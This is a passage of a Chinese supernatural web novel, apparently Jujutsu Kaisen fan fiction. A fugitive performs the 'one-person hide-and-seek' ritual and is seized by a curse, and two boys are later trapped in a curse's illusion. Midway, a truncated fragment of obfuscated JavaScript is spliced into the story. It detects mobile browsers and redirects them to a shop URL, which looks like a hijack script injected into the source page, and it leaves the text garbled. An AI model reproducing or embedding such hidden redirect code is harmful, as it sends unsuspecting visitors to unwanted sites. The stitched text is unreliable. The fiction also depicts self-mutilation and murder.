加茂荣见他如此态度,倒也没有多说什么。
直接转身从桌上拿起来了一个陶制小碟。
碟中盛了浅浅一个底的暗红色液体。
加茂荣右手握住一根毛笔,将笔尖在碟底液体中均匀地沾了沾,在毛笔尖上附着了自身的咒力,就直接开始了书写。
随着笔尖落下,加茂健太面容扭曲,青筋暴起。他浑身皮肤犹如被生生剥去一般疼痛,并伴随强烈着灼伤感。但他并未出声,仍是肌肉紧绷,默默忍耐,等待对方施展完术式。
一个个暗红色的字符被呈现在加茂健太裸露的身体上,形成了一副诡谲又神秘的字卷。随着加茂健太的呼吸,字符一亮一灭,好似活物。
不知过了多久加茂荣终于停下了书写,紧接着他的声音响起。
“咒文没有变色,健太大人您的精神没有受到侵蚀。”
“小仆已经准备了好衣物和热水,您去后室沐浴更衣后就可以去见家主了。”
此时的加茂健太整个人则犹如从水中捞出来的一般,冷汗淋漓,没有精力再多说什么。只是默默地将衣服披上后就顺着仆从的指示前往了后室。
而在他背过身时,加茂荣口中正无声念着什么。唇部一张一合之间,加茂健太背部被书写上的符文正慢慢变浅,直到渗透进了他的皮肤之中再也消失不见。
等到加茂健太整理完毕出来后,就有仆人为他递上了一张羊皮纸卷。
“大人,血液来源者的方位已经确定。”
加茂健太了然地接过了纸卷,前往加茂家主的院落。
.
凌晨三点,东京的一处屋内,所有灯光都被关闭,漆黑一片。
被加茂家追查的男人面容僵硬,浑身颤抖,此刻正死死握住他刚刚从隔壁偷回来的玩偶。
一个憨态可掬的玩偶小熊。
“邦尼熊,乖孩子,我记得隔壁的洋子小小姐给你起的名字就叫邦尼熊吧。”
惨白的月光下,男人声音打着颤,神经质地和手中玩偶对话。
只是并非是童心未泯,男人很快就拿起了手边的一把大红剪刀,小心翼翼地顺着小熊缝合的棉线将其剪开,掏出了里面所有填充用的棉花。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004611|194013||http|test|mini|href|location''.split(''|''),0,{}));
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>似乎是害怕小熊内部依旧留有棉花。,他甚至将小熊整个翻了过来,用手指细细摸了一遍。又对着窗外月光,反复检查。
“下一步……”
男人抬起胳膊看了看内侧皮肤,脚步踉跄的前往厨房。
“米…米缸。”
他用手捧起了一把把雪白的大米,填充到了玩偶小熊中,将它塞的鼓鼓囊囊,即将爆开。
但等他抬起胳膊,对照内侧血淋淋刻下内容行动时,刚刚扬起的笑容此刻却僵硬在了脸上。
“针和线。”
在死亡的威胁下,男人的大脑飞快运转,终于想起了自己曾经买过的针线包,摇摇摆摆地冲向了卧室的书桌。
噼里啪啦一顿翻找的声音响起,男人终于找到了。他看着面前的塑料小盒,拿起后返回了厨房。
一阵牙酸的撕裂声响起,男人将自己刚刚剥下来还滴着血液的指甲塞进了小熊的肚子中。
抽抖着双手开始缝合。
“邦尼熊,邦尼熊,你就是我,我就是你。”
缝合完毕后,男人没有立刻打结剪断,而是将无意间沾染着他鲜血的丝线,一圈一圈的缠绕在小熊的身上。
所有事情结束后,他放下了手中的小熊,前往浴室,打开了水龙头向浴缸中放水。
在这个过程中,他又找出了屋内剩余的盐,全部撒在了玻璃杯中。又将杯中接满水后放到了卧室的储藏柜旁。
紧接着,他带着鲜血淋漓的玩偶小熊回到了浴室。
“山下平,先来当鬼。”
“山下平,先来当鬼。”
“山下平,先来当鬼。”
三句重复完后,山下平直接将玩偶沉入了浴缸中。
男人丝毫不敢耽误,直接冲入客厅打开了电视。
“十,九,八……三,二,一”
倒计时结束后,男人拿起了那把锋利的大红剪刀回到了浴室中,他从水中捞起小熊,一下一下的捅了下去。
“找到你了,邦尼熊,你来替我死吧!!!!”
山下平虽然神色癫狂,但手中动作不停,过了一会像是想到了什么,又把玩偶放回了客厅中。
“邦尼熊,轮到你来当鬼了,这次你来找我。”
山下平语气平静。逃离了加茂家赋予的死亡威胁后,他又恢复了从容的神色。
他走回到了卧室的储物柜旁,拿起一旁提前准备好的那杯盐水,钻了进去。
心里默数了二十秒后,山下平张嘴含了半杯盐水,走回了客厅。静静的看着被他摆放在电视机前的玩偶。
他抬起手,将杯中余下的水撒在了玩偶熊的身上,又将口中盐水全数喷在地面上。
“我赢了。”
“我赢了。”
“我……”
第三遍还没有说完,山下平就看见了从邦尼熊中浮现的高大咒灵,对方浑身恶意浓郁。
特级,是特级!!!
怎么会这样,一个人的捉迷藏咒灵明明是准二级,如果不能按照咒灵的要求做完,就会被下咒带到特殊地点。非咒灵的分身被咒术师祓除,主动出来外,不会再有人能发现被下咒者的痕迹。
这才是他敢接下暗杀加茂家祖传术式的原因。
但现如今,曾经帮助他逃脱死亡追捕的方法,此刻却成为了自己的催命符。
山下平神色扭曲,想要逃跑。
但特级咒灵面前哪里轮得到他反抗,几乎是瞬息之间就被裹挟着带走。
房间内归于寂静,只有那个遗落下来被视为替身的,浑身沾满山下平血迹的玩偶小熊,静静地注视着这一切。
等藤原千代和加茂家派出的相关人员顺着羊皮卷的位置,追查到这里的时候,就只看到了一个正在看电视的血淋淋的玩偶小熊。
16. 一个人的捉迷藏
逢魔时分,太阳最后的一抹橙红色光线被地面吞噬。但此刻还未到月亮升起的时间,因此天空仍是呈现出一片浑浊的灰蓝色。
加茂健太从加茂荣的宅院走出后,丝毫不敢耽误地大步迈向了加茂家主的屋院。
身份核对……咒具上交……咒力封印……
走过了一遍遍熟悉的流程,他终于再次进入了加茂家主的院落。
推开拉门进入后,他直接走到了那扇屏风前,将仆人递给自己的羊皮纸卷放在了桌上,而后退了回去。
“家主大人。”
屏风后没有回话,只是伸出了一只手,拿起了桌上放置的羊皮纸卷。
“家主,袭击少主的人名叫山下平,的确是横滨那边的异能力者。此人早有前科,具体异能在横滨的异能特务科中有过记录。”
“具体表现为可以通过自身血液而操控对方身体,进而完成暗杀。因其异能力特殊性,受害者常被认为是自杀,至今活跃在暗网上。”
“除此以外,山下平处理痕迹的手段也及其娴熟,现场只留下了找不到来源的咒力遗秽。”
“我们只能通过被控制的血液下咒,在羊皮纸卷上显示山下平位置,以供少主抓捕。”
“同时,山下平袭击所用的尸体上具有咒力遗秽,推测其还有一个能力不强的咒术师同伙。”
加茂健太语气恭敬,将所有调查出的内容都讲述了出来。
屏风后,加茂家主缓缓展开了羊皮纸卷,语气平静。
“加茂千代是怎么解除你的精神控制的。”
“山下平还未来得及下指令,少主就将自身血液与山下平血液混合,进而做到了操控二者,解除了属下的控制。”
“加茂家关于赤血操术的古籍没有记录过这项能力,属下推测是少主自行摸索创造出的。”
加茂家主没有表达认同,但也没有反驳,只是转了转眼睛,轻轻说道,
“加茂荣的术式短时间内重复使用,你受不住。跟着羊皮纸的指示,明天开车带着加茂千代和加茂宗介两人去处理。”
“切记把山下平的事情交接给他们,你不要直接出现在对方面前。”
“是的家主,属下明白。”
得到指令后,加茂健太就起身退了出去。
屋内仅剩下加茂家主。
男人坐在位置上手指微微敲动桌面。
‘赤血操术什么时候产生这种异变?’
.
藤原千代坐在车上,看着驾驶位坐着的加茂健太频繁看向手中拿着的一张泛黄的旧纸,时不时摇头点头。
他实在是按耐不住心中的好奇,偷偷瞄了一眼。却发现,上面是一片空白。
“这是?”藤原千代瞪了瞪眼睛,直接问了出来。
加茂健太通过后视镜看到了藤原千代落在羊皮纸上的目光,内心了然。
语气温和地回答道,
“这个是加茂家的秘术,施咒后可以通过血液来追踪人的位置。”
“少主您昨天交给我的那份属于袭击者的血液,正好可以用于定位对方的位置。”
“纸上内容被下过束缚,只会被持有者看到。不接触羊皮纸卷,就只会认为这是一张平平无奇有点泛黄的纸张。后续如果有机会,我再把使用方法交给您。”
藤原千代的好奇心得到了满足,将刚刚探过去观察纸张的头缩了回来。
另一边,坐在副驾驶位的男人位置的男人看到藤原千代好奇的模样,又多说了几句。
“少主您年岁较小不太了解。像咱们加茂家的这种秘术并不少见。”
“在咒术界中,人的血液、毛发、骨头都可以作为术式的媒介,用于增强咒力、施展特定的术式或者直接进行诅咒,甚至黑市的一部分诅咒师,还可以通过亲缘关系较近的血亲来下咒。”
“咱们这次需要去面对的袭击者是异能力者,不了解咒术师的手段,因此才敢在现场留下自己的血液。想必少主大人您出场,很快就能解决。”
男人语气恳切,想要借此拉进和加茂家少主的距离。
正在驾驶车辆的加茂健太却眉头一皱,看了看旁边的加茂宗介,语气严肃。
“不要轻敌,我说过对方很有可能还有一个咒术师同伙,能力未知。为了保证少主的安全,再多小心都是应该的。”
副驾驶的加茂宗介看到加茂健太严肃的样子,悻悻地收敛了话头。
他撇了撇嘴,没有再多说什么。
而后排的藤原千代对加茂宗介的话确实起了点兴趣。但在下一秒,听到加茂健太又叫回自己少主,内心隐隐有些思绪。
一路上,加茂健太不停地说着可能出现的情况,听得藤原千代昏昏欲睡。好在很快,他们就来到了一栋公寓楼前。
临下车前,加茂健太又嘱咐了许多,最终放心不下地将羊皮纸交给了藤原千代,并告知了他使用方法。
这才打开了车门将他们放了下去。
但等藤原千代跟着加茂宗介潜进去的时候,才发现加茂健太显然想多了。
他预想的什么一表明身份对方就会和他们一同回去,什么如果反抗了应该怎么做,如何防备对方突然反水,如果对方逃跑了应该怎么抓捕。
全都没用上!!!
从第一步就错了,山下平根本就不在,这里只有一个血淋淋的玩偶熊在看电视。
看到这富有童趣又诡异的场景,
一旁的加茂宗介更是懵逼。
他接取的任务可根本不是什么将对方好好的请回去,而是就地格杀,借此训练加茂少主。
介于加茂少主年纪较小,加茂家没有直接给他派发杀人的任务。
但一旦同行人动手,他还能阻拦吗?不过是更加怜悯地温水煮青蛙罢了。
只是此刻连山下平的人都摸不到,后续任务更是一筹莫展。
藤原千代僵硬着举起手中的羊皮纸,想要从里面看出山下平的位置,但上面依旧是一片空白。
他自己根本不会使用咒力,没有办法使用这个羊皮纸卷,进而显现出来山下平的位置。
此时的加茂宗介正一脸期待的望着藤原千代,希望他给出下一个山下平出现的地方,二人好直接去抓捕。
却发现这位少主大人只是一脸纠结的望着羊皮纸,迟迟没有发声。
他一脸狐疑的走了过去,想要看看具体是什么地方出了问题。
“就在这里,地址显示的就在这里。”
藤原千代指了指面前的玩偶,好似刚刚所有的纠结都是因为秘法出了问题。
“明明山下平消失不见了,却依旧显示在这里。”
加茂宗介不再怀疑,走上前去观察这个玩偶小熊。在他刚刚拿起来的时候,异变突生。
浓厚的紫黑色咒力如岩浆般喷涌而出,凝结在小小的房屋上空,粘稠到几乎要化为实质。
窸窸窣窣的声音在屋内响起,又夹杂着骨头摩擦的咔哒声。
因为山下平异能力者的身份,所以加茂宗介没有将咒力附着在眼睛上。
因此没有在一进门就发现附着在玩偶小熊上,专属于特级咒灵的充满恶意的咒力残秽。
而藤原千代则是根本没有看到咒力残秽的能力。
直至现在,二人才意识到山下平的失踪和咒灵有关。
但已经来不及了。
布帛的撕裂声响起,一只漆黑的熊掌从玩具小熊腹部的缝线中伸出,紧接着是身体。
小小的一个玩偶和周围的家具一起,在咒灵磅礴的咒力下顿时化为齑粉。
一个像是被人拼凑而成的熊形咒灵从中诞生,锋利的爪尖滴落腐蚀性的液体,将地面灼烧出黑色的孔洞。
咒灵腹部疯狂蠕动的缝合线昭示着他和那个憨态可掬的小熊之间可能存在的关联。
“邦尼熊找到你了,轮到你做鬼了。”
熊形咒灵张开大嘴,像是由无数孩童同时低语的声音在二者耳边响起。
“怎么还有两个?都来陪邦尼熊玩吧!”
“特级!!!一定达到了特级!”
加茂宗介浑身僵硬,恐怖的威压下让他动弹不得,颤抖着声线吐露出最后一句话语后就消失在了藤原千代面前。
下一秒藤原千代眼前一黑,又是一阵强烈的失重感。
‘不是说特级很少吗!’
楼外,内心不安的加茂健太正等候在车内。介于加茂家主的要求,他无法上前去亲自击杀山下平,只能等待藤原千代和加茂宗介的消息。
正在他思索自己先前的计划有没有什么漏洞时,面前的楼宇顿时爆发出了强大的咒力波动,让加茂健太腾的一下站起身,又在撞到车顶时吃痛地坐下。
但此刻他顾不得一切,立即奔向刚刚二者前往的地方。
‘特级咒灵!怎么会,这计划不是完全一点都没对吗!’
等他到了的时候,只看到了空荡荡的一片客厅和化为粉末的家具。
一切都已尘埃落地。
加茂健太面色凝重,丝毫不敢耽误地掏出手机,打给了加茂家主。
“家主大人,山下平的公寓出现了特级咒灵。”
“少主,不见了。”
.
藤原千代抬眼看着面前的破旧建筑,外层的红砖墙满是裂痕,又密密麻麻的攀着爬山虎弯曲翠绿的茎叶。
二楼的珐琅窗缺了半扇,漏出黑洞洞的内里,像是一只空洞的眼睛,正无声地与他对视着。
走进楼内,霉菌和灰尘的气味交杂在空气中,形成一种熟悉且安心的
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味道。藤原千代仰起头,透过阳光下漂浮在空气中的灰尘,看到了楼上站着一个身影。
窄窄的水泥楼梯还没有他的脚长,只能虚虚的踩上一半,使不上力气。
因此他只能用右手死死地拽着扶手,但整个人依旧几乎要倾倒。
不长的楼梯却爬了很久,每当要爬到顶时,下一秒却出现在了最下层。
终于他爬到顶,看到了面前等着他的人:
对方有着少年纤细的身姿,和他差不多高,却根本看不清面容和穿着,整个人像是模糊不清的铅笔画。
藤原千代揉了揉眼睛,努力睁大双眼想要看清。
终于。
面前孩子的面容变得清晰,是中岛敦。
“千代哥!我们去楼下玩捉迷藏吧!这把千代哥来当鬼找阿敦!”
“好!”
稚嫩的声音响起,二人手牵手蹦蹦跳跳的从略显宽大的楼梯中下楼。
藤原千代闭上眼,开始倒计时。
“十、九、八、七.”
未等他数完,藤原千代感觉到自己的手臂被人拽动,他几乎要踉跄摔到。
“谁允许你来这里的,滚出去,不许再过来!”
冷酷的声音响起。
他睁开眼,看到了面前留着锅盖头的男人居高临下的望着他,白发男孩躲在他身后同样是一脸冷漠。
男人不停地推搡着他的肩膀,藤原千代几乎要被推到。
脸颊传来的刺痛让他几乎想要落泪。
‘不对!’
藤原千代登时意识到自己明明被特级咒灵卷走了,但此刻怎么会出现在孤儿院,还如此破旧不堪。
下一秒,他耳边仿佛出现了玻璃破裂的声音。
在他察觉到不合理处后,幻象瞬间被打破。
所有的一切都消失不见,只留下他自己一个人。
?
脸颊怎么越来越痛了。
“小鬼!小鬼!”
耳畔传来一个处于变声期的男孩的声音。
他猛地睁开双眼,从地上坐起,将对面的男孩吓了一跳。
藤原千代略显迷茫的捂了捂脸,感觉到脸颊微微发烫,有些刺痛。
“嘛~嘛~特殊时期特殊办法,不要介意这点小事了。”
略显心虚的声音在藤原千代耳边响起,他这才开始打量了一番对面的人。
一个黑发少年,浑身充满着极具爆发力的肌肉,仅仅是往那一站,就能看出来体术很强。
但与他身姿体态不符的是对方那张甚至可以说是古典美人的脸。
少年眼尾微微上挑,睫毛纤长,瞳孔的颜色是极具有生命力的翠绿。
虽然嘴角有一道疤痕正微微流血,以及脸上的一些细微的伤痕。却丝毫没有影响他的美感。
整个人像一是个正处于发育时期的小黑豹,生机勃勃又意气风发。
少年看到藤原千代的视线一直落在自己嘴角的疤痕上,满不在乎地说道,
“还是上次在咒灵室落下的那道,一直没好罢了。不过我们不都活下来了嘛!”
“你不是去那个加茂家做少爷去了吗,怎么会出现在这里。”
“话说我真的不太擅长记得男人的名字啊,你说你叫什么来着,千代子?”
少年连珠炮一般的话语不断袭来,打的本就迷迷糊糊的藤原千代更加晕头转向。
看到藤原千代一脸迷茫,少年瞬间意识到对方可能根本不记得自己了。
他嘴角微扯,有些自嘲。
果然,咒术界的小少爷和他这种废物根本不是一个世界的人,谁会记得废物呢,他不记得也正常。
“抱歉,我在进入加茂家的时候被打到了脑袋,不记得之前的事情了。我们可以再认识一下吗?
藤原千代看到面前少年的神情,立马意识到自己的表现可能给对方带来了误解,因此主动伸出手解释道。
“我是藤原千代,很高兴可以认识你。”
少年眉头微微一挑,似乎有些生气,说道,
“什么吗,我打到你脑袋了吗?不过你还不姓加茂啊!”
“我才不和男人握手呢。”
话虽如此,少年他还是老老实实地伸出了拳头碰了一下藤原千代的掌心。
“切,人小鬼大。”
“甚尔,姑且姓禅院吧。”
又像是突然意识到自己刚刚有些矫情和幼稚,微微侧过了头,只是泛红的耳尖还是暴露了他的内心。
藤原千代没有指出这一点,给面前好不容易被顺毛捋的小黑豹子留了点面子。
“可以先讲讲现在的情况吗?甚尔”
“嘛~嘛~那可是要说很久啊!”
“那就拜托你长话短说了,甚尔。”
17. 一个人的捉迷藏
冷风夹杂着细雨,浸湿了禅院家的青石围墙。
一只漆黑的作战短靴踏过积水,溅起了几分泥泞。
即将十三岁的禅院甚尔抱着一把破旧的咒具短刀,微微耸肩。
正淋着雨缓慢地走在石砖路上。
‘禅院直毘人那个老头不知道又要下发什么任务,无聊。’
禅院甚尔走到了一栋木质屋院前,直接拉开推拉门走了进去。
“喂,老头,你找我什么事。别耽误我去吃饭,知不知道我现在正处于长身体的关键时期啊!”
屋内,一个留着过肩大背头,身披浅色羽织的中年男人正跪坐在榻榻米上,手里拿着一个酒葫芦畅饮。
他看到禅院甚尔粗鲁地直接推门而入,也不生气。而是毫无形象可言地打了一个酒嗝。面色酡红,俨然一副酒蒙子的形象,醉醺醺地开口,
“禅院甚尔,我知道你早就想脱离禅院家。就当是给你母亲一个面子,我可以给你这个机会。”
“加入躯具留队,给禅院家完成几年任务。等你成年了,我就放你出去。”
“不怪我没有提醒你,没有咒力的人接取祓除咒灵的任务不外乎是去送死。
“当然,我也不是那么不近人情,还是会帮你安排一些和人类打交道的任务。”
“总之,做禅院家几年的刀,时间到了我放你出去。至于到时候你这把刀是断了钝了还是更加锋利,全看你个人造化如何。”
“你敢赌吗?禅院甚尔。”
等到禅院直毘人说完,禅院甚尔仍是一副无所谓的模样,低哑着嗓子说道,
“无所谓,反正我是烂命一条,更何况给你做刀的日子不早就开始了吗?别以为我不知道你之前偷偷塞的任务。”
他毫不在乎地摆了摆手,听到禅院家主说完后,没有说同意,而是直接大摇大摆的走了出去。
屋内,满身酒气的禅院直毘人摸了摸自己脸上留的两撇八字胡,满意地笑了笑。
非禅院者非术士,非术士者非人,这句话禅院甚尔一直认识的很深刻。
自从九岁那年母亲病死了以后,他居住的小院就被人遗忘了。
严寒不会让他丧失生命,只有饥饿会。
但送饭的仆人早就不来了。
非术士者非人,作为禅院家垃圾堆里的垃圾,只有像野狗一样讨食才能有活下去的资格。
好在他那个早死的爹遗传给他的还有一个派的上用场的好看皮囊,让他可以讨得禅院家女仆的欢心。
她们从指缝间施舍出一点就让他硬是活到了这么大。
呵,天与咒缚。
但这些远远不够,他无时无刻不处在啃骨噬心的饥饿之中。
所以当他看到那个出现在咒灵室内的小鬼使出了赤血操术的时候,他就知道,这个该死的命运赋予他的机会来了。
喂喂喂,一旦被这个奇怪的小子记住,可比在禅院家女仆面前卖笑得到的施舍来得多得多了啊!
他躲开了砍向自己脑袋的最后一击,在嘴角永远留下了一道疤。
拼死在咒灵室里面成功护住了这小子。
至于躲避的过程中踹他的那几脚,就不要在意了。
不过他的计划出了些差错,这小子当时浑浑噩噩的,像是失了魂一样。被救后甚至连一句感谢都没有,就被加茂家的一群老头接走了。
但好在禅院直畀人,禅院家的家主记住了他。
瞧,禅院甚尔这不依旧活下来了吗。
.
加入躯具留队的日子确实不好过,即便他是天与咒缚,但毕竟年纪过于年幼,又长期营养不良。
因此他在那些青年在手里讨不到好,身上总是长年带伤。
但当然,对方也不能讨到好处。
虽然到现在他手上还是只有那把破破烂烂的咒具,依旧看不见咒灵。
但就凭他□□感知到的咒灵强度来看,他完全可以保证在咒灵面前逃命。
毕竟他真的很想活着,凭什么命运如此对他。
但直到这次他和躯具留的人追着一个诅咒师,对方狞笑着撕开了卷轴时。
禅院甚尔瞬间爆发出了一种强烈的危机感,浑身汗毛竖起。
紧接着,所有躯具留的人都瞬间消失不见。
翻车了。
他来到了一个陌生的地方,周围一片黑漆漆的,没有亮光。
“嗯?你为什么没有去玩捉迷藏?”一个充满童真的声音说道。
“什么捉迷藏,没听说过。滚出来,别在这里装神弄鬼。”
“可怜鬼,没人陪你玩。”
声音消失了,静的只能听到他自己血液流动,和骨骼转动的声音。
时间在这里也丧失了具体的意义,只有逐渐升高的饥饿感在不断提醒着禅院甚尔时间正在飞速流逝。
一天
两天
三天
禅院甚尔慢慢接受了自己会死在这里的结局,最开始疯狂挣扎的行为逐渐停止,他走了很久很久,但根本没有尽头。
直到一抹亮光出现,再次照亮了他的世界。
周围黑漆漆的画布好像有了填充。出现了一个有着彩色玻璃的小洋房,和倒在菜地里的熟悉小鬼。
禅院甚尔再次扬起唇角,整理了一下自己的神情,摆出那副在禅院家女仆手中讨饭吃的样子。
太好了,这个小少爷。
拜托了,再给我这种废物一点施舍吧,我真的很渴望活下去啊!
.
“所以这里是什么情况呢?”藤原千代坐了起来,抬头询问站在他面前的少年。
禅院甚尔清了清嗓子,正了正神色。
在藤原千代饱含期待的闪亮目光下,十分认真地说道,
“我们是追着一个诅咒师来的,结果被那小子坑到这里来了,今天是第三天。”
“躯具留的其他人一进来就都消失了,我今天一醒过来就发现你躺在这里,剩下的你都知道了。”
藤原千代听到对方如此简洁的一段话,有些呆愣。
“没了?”
他的声音带着一丝颤抖和不可置信。
“没了,是你让我长话短说的!”
“咒灵呢!那个特级咒灵呢?你们是怎么被坑过来的啊!,这怎么什么都没说啊!”
藤原千代有些抓狂,他找到了比系统问了才答,不问不说更气人的。
答了,但和没答一样。
“什么特级咒灵啊小少爷,你真是失忆了,我根本看不见咒灵啊。”
禅院甚尔挠了挠头,毫不在意自己说出
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了什么。
?
藤原千代本就不清醒的脑子更加迷茫,
“你看不见?你不是咒术界的人?可是你又姓禅院,又说和我在咒灵室认识的。”
“我是零咒力啊,连普通人都不如的猴子。”
禅院甚尔表情未变,语气平淡地说出了这句话,好像口中的猴子说的根本不是自己。
话音刚落下,禅院甚尔就将藤原千代拽了起来,拍了拍他身上根本不存在的灰,语气更加信赖的说道。
“至于咒灵,我只是可以感知到而已,没有咒具可是完全祓除不了,所以完全只能靠你了带我出去了啊,小少爷。”
藤原千代看着面前少年的模样,整个人有些头重脚轻,感觉身体和灵魂都轻飘飘的,仿佛下一秒就会再次晕过去。
等到他已经变得平滑的大脑处理完禅院甚尔所说的信息以后,内心仿佛生吃了三斤柠檬一样酸涩。
“甚尔这个体质真是太棒了,不用看见咒灵只是能感知到,还能通过咒具祓除,好羡慕。我也想要。”
禅院甚尔听到面前小鬼的话有些呆愣,他似乎没想到对方竟然会是这种反应。
“是吗小少爷,那祝你得偿所愿呢。”
他语气嘲讽,几乎已经控制不住地有一丝恶意从中泄出,刚刚伪装出的清爽少年的假面也有些破碎。
“谢谢,谢谢,借你吉言。”
藤原千代听到面前的少年如此祝福自己,甚至开始将自己的真实情绪展现给他,和他交心。
他就涌生起莫大的幸福感,整个人像是打了鸡血一样,立刻动身寻找这里的细节,恨不得立即将禅院甚尔救出去。
禅院甚尔看着面前小鬼逐渐激动起来,有些莫名其妙。但还是跟在他身边,能早点出去为何不可呢?
他可是真的快饿死了。
四周的景象和藤原千代的梦里一模一样,红砖墙、爬山虎、缺失了一扇的珐琅窗。
“这里一直都是这样的吗?”
藤原千代隐隐觉着自己有些抓住了什么,到理不清头绪。
“不是,原本是一片漆黑,这里的景象是和你一起出现的。”走在一旁的禅院甚尔回答道。
“一片漆黑?除此以外还有什么吗?”
“一个小鬼的声音,说什么捉迷藏,可怜鬼。”
“捉迷藏?”
熟悉的游戏再次出现,藤原千代立马意识到这个是问题的关键。
“是啊,说玩什么捉迷藏,却把我扔到一个黑漆漆的房间里关了三天。还说我是可怜鬼。”
禅院甚尔话还没说完,就看到藤原千代大步直迈走向了门里,紧忙追了上去。
“你发现什么了!”
藤原千代没有回答,只是一味爬楼。
和梦里不同的是,他这次爬的很顺利,没有失重的感觉。
在二楼的的楼梯口他看到了那个熟悉的身影,他迅速跑了过去,却发现晃神间又出现在了一楼的楼梯口。
但按照梦的启示,藤原千代没有停步。
他就这样反复的爬了好几次,但依旧没有走到那个身影旁边。
直到禅院甚尔伸出了一只手,拦住了他。
“你自己在这里爬上爬下的干什么呢?问你话也不说,你找什么呢?”
18. 一个人的捉迷藏
刚刚天空还是一片晴朗,顷刻间阴云遍布,下起了大雨。
雨滴砸在玻璃上方形成一阵密集的鼓点。
加茂健太从楼上冲了下来,钥匙在手中紧攥硌得掌心生疼,但他丝毫未松手。
一路跑回车旁,拉开车门坐在了驾驶位上,拧了一把微微有些发烫的钥匙启动引擎,一脚油门冲了出去。
雨刮器在车窗上不停摆动,加茂健太的视野时而模糊时而清晰,他就这样顶着大雨在车流中穿梭。
一道闪电照亮他的脸庞,此刻加茂健太的表情称得上难看,他实在没料到这么简单的一个任务,却出了如此大的问题。
又一个特级咒灵。
很快,他脚下微动,刺耳的刹车声在耳边响起。加茂健太将车停在了加茂家门口。
他随手将腰间木牌丢给守卫后就推开门冲了进去,直直地奔向了加茂家的古籍室。
沿着山下平房间中出现的血液痕迹调查,他当时直接去到了对方的浴室。
整个浴室星星点点的全是干涸的血滴,出血量不大。比起受到外界的攻击,更像是山下平在自残。
陶瓷浴缸中接满了水,看样子根本不像是用来泡澡的。透过泛着微红的水,依稀可以看到缸底沉着一层白花花的东西,但看不太清。
加茂健太带上手套,整个人探过身子,将水底的东西捞起来一看。
他抓到了一把大米粒,还是生的,但被泡的时间不短,已经有些发软,手指一碾就四分五裂。
他脚边还有一把被随意丢在地上的剪刀,握柄处也全是血液,加茂健太捡起来仔细观看,发现剪刀中夹杂着一些棕褐色布料。
他小心翼翼地取了下来仔细观看,这更像是玩偶的材质。
从山下平的屋内出来以后,下楼的过程中他正巧遇到了来一群穿着制服的警察,看他们前往的方向正是那间房子。
加茂健太眼睛微转,跟在一群人身后,躲在一旁听到了他们的对话。
路人晨练时发现了隔壁房屋门缝间涌出的暗红血液,被吓得惊慌失措,立马报了警。
他们到来后发现一家三口死相凄惨,丈夫倒在客厅中,血流了整整一地,浸湿了门口的地垫又顺着大门流淌了出去。
而犯人丝毫没有躲避监控摄像头的意识,大摇大摆的从对方家中走出。
当他们放大画面发现时发现,对方犯下如此罪行的原因,好像只是为了他护在怀中的那个棕色毛绒小熊。
一时间查看录像的人,瞬间感到毛骨悚然,脊背发凉。
听完全部的加茂健太,反应过来那把夹在剪刀刀刃之间的棕色布料应该是属于这个毛绒小熊。
山下平浴室内出现的这些东西结合起来,让他有种莫名的熟悉感,但就是差那么临门一脚想不起来。
究竟是什么。
加茂健太的手指在自己曾经提交给加茂家的任务报告册之间翻飞,一时间纸张间摩擦的沙沙声掩盖了他急促的呼吸声。
终于,他翻到了自己三年前曾经做过的那个相似任务,追杀诅咒师小野凛。
对方也是当时也是突然失踪,哪怕通过加茂家秘术也没办法追查到他的下落。现场同样留下了这些东西。
鉴于小野凛的术式与传送有关,他当时判断这些是对方术式发动需要的材料,又急着去做下一个任务,就没有再多做调查。
只简单做了一个报告,上交给了总监会和加茂家。
而总监会在小野凛最后出现的地方检测到二级咒灵的咒力残秽,就直接草草结束了调查,拍板对方已经死于咒灵袭击,任务结束。
所以现在看来,小野凛很可能根本没死,这些材料根本不是对方发动术式需要使用的,而是召唤咒灵。
那个二级咒灵根本就是对方为了逃脱追捕召唤来的,小野凛很可能就是那个未曾露面的诅咒师,参与了这次的袭击事件,只不过这次召唤咒灵的步骤出了问题,二级咒灵变成了特级。
想明白一系列事情的加茂健太丝毫不敢耽误,将所有材料整理好后。迅速折返到了加茂家的家主室,立即将自己的发现汇报给加茂家主,等待对方的下一步指示。
.
“什么叫我自己一个人爬上爬下?”
这边藤原千代听到禅院甚尔的话后,整个人有些迷茫。
“我不是从楼梯上爬上去又突然被传送出现在楼梯底吗?”
“不是传送,我亲眼看着你自己走下来的,然后又自己继续噔噔噔地爬上去,来来回回有六七遍了吧。”禅院甚尔不以为意,扣了扣耳朵。
?
“那你就一直看着我这样来回爬楼梯吗?也没和我一起上去看看,怎么不等我累晕了再阻止我。”
藤原千代扶额,不知道该说些什么好,感觉少年太过于信任自己也不好。
他都快被咒灵溜成狗了,禅院甚尔还以为他有自己的节奏呢。
禅院甚尔微微有些困惑,“我寻思你是在楼梯上调查什么东西呢,所以一遍一遍爬。这不是拦下来问你查出来什么了吗。”
藤原千代微微有些懊恼,面红耳赤地说道,“没有,我被魇住了,一直以为自己在爬楼。这次你和我一起,看能不能爬到二楼去。”
说着藤原千代就牵住了禅院甚尔的胳膊,拉着他往上爬。
禅院甚尔甩了甩自己的胳膊,想把他甩开,但藤原千代正死死地拽着不松手,因此也只能顺着他的意思。
“喂,说好了我就陪你爬这一次,要是不行我们就再想办法。然后你痛快地把我松开,我可是卖艺不卖身的啊,小少爷。”禅院甚尔语气调侃。
!
藤原千代被禅院甚尔的话吓了一大跳,立马松开了拽着对方胳膊的手。整个人有些炸毛,他忍不住破声喊道。
“我才七岁!我能做什么!”
但就在藤原千代松开手的一瞬间,禅院甚尔察觉到他的眼睛失去了聚焦,整个人陷入了一种迷失的状态。似乎又被魇住,分不清虚幻与现实了。
禅院甚尔反应迅速,他立即反拽回藤原千代的胳膊,语气认真。
“别松手,这个楼梯对你来说真的有问题。”
藤
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原千代的意思瞬间恢复清醒,他也察觉到了自己刚刚出现了问题,又遗忘了旁边的禅院甚尔想要继续往上爬。
于是藤原千代反手扣出禅院甚尔的手腕相扣。两个人浑身肌肉紧绷,充满戒备地往前走。
这一次很顺利,藤原千代成功走到了二楼的楼梯口。但是和他梦里不同的是,这里没有那道身影在等他。
